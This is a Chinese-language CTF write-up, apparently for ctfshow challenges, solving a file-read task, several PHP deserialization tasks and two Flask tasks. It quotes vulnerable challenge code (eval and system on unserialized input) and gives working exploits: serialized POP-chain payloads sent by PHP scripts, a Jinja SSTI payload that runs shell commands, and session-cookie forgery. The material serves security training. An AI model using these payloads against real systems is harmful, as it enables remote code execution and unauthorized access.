Misc1
Misc2
刚进来是一张滑稽,看到url有一个img参数,好像是base64编码,解码后发现是
解码后发现就是文件名,猜测有任意文件下载漏洞
打开源代码发现传过来的是文件的base64编码
把index.php编码后传过去,把编码复制出来解码就得到内容了
得到flag
一大串PHP,各种类,最下面有反序列化
题目源码:
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
把环境拷到本地,调试一会儿构造成功。
题目提示当前目录下有txt文件,不过当时没注意到,先读取了include进来的check.php,官解是用gBoBg的第一个分支读取txt文件名,再获取Hint,我这应该算是非预期了?小白不懂,反正我这没啥技术含量。
说我的解法吧,利用w_wuw_w的__wakeup读取check.php,用引用把aaa变量和key变量绑定,再利用析构函数输出就行,官解后面也利用了这个。
这里直接在php发请求了,代码如下。
$d = new w_wuw_w();
$d->file = 'check.php';
$d->aaa = &$d->key;
$t = serialize($d);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => "AAAAAA: $t",
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://db67f21b-71ad-4f04-b1d4-9a83a72dd43d.challenge.ctf.show/', false, $context);
echo $result;
结果如下:
简单的移位密码,需要解密的内容在cycycycy类中可以看到,可以在线工具,我用了python:
charset = 'qwertyuiopasdfghjklzxcvbnm123456789'
key = 'p8vfuv8g8v8py'
result = ''
for k in key:
result += charset[(charset.index(k) + 4) % len(charset)]
print(result)
结果是fe1ka1ele1efp
继续寻找反序列化,构造好久做出来了。
这个跟官解也不太一样,但是也是调用了w_wuw_w的__invoke。
$c = new gBoBg();
$c->file = '';
$c->coos = new w_wuw_w();
$c->coos->aaa = $c;
$d = new w_wuw_w();
$d->aaa = $c;
$t = serialize($d);
得到flag:
源码提示app.zip,下载得到源码
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/' )
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
构造payload如下,256如果不行可以用burp爆破
/hello/{{"".__class__.__mro__[1].__subclasses__()[256].__init__.__globals__["os"]["popen"]("cd ..; cat *lag").read()}}
打开题目发现一个登录页面,先注册一个账号再说,过程中发现admin用户已经存在
点进去发现网站可能的后台源码,附带一个key,于是想到session伪造
脚本是大佬写的,贴一个脚本下载地址https://github.com/noraj/flask-session-cookie-manager,使用方法在下面
复制session和key,用脚本解密
修改username为admin,role为admin
修改session再次访问
多了一个下载fakeflag的链接,任意文件下载来了,在app.py中找到了新路径
一个python代码执行
至此得到flag
题目如下:
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
考的是反序列化,不过与上一篇的不一样,因为开头过滤了字母O这次是利用ArrayObject进行反序列化
解题代码如下:
error_reporting(0);
class ctfshow{
public $ctfshow;
}
$a = new ctfshow();
$a->ctfshow = $_GET['cmd'];
$arrobj = new ArrayObject($a);
$t = serialize($arrobj);
$ret = file_get_contents('http://6ea5e156-04f0-41a7-a7f2-1aeba5b79670.challenge.ctf.show/?1%2B1>2='.urlencode($t));
echo $ret;
?>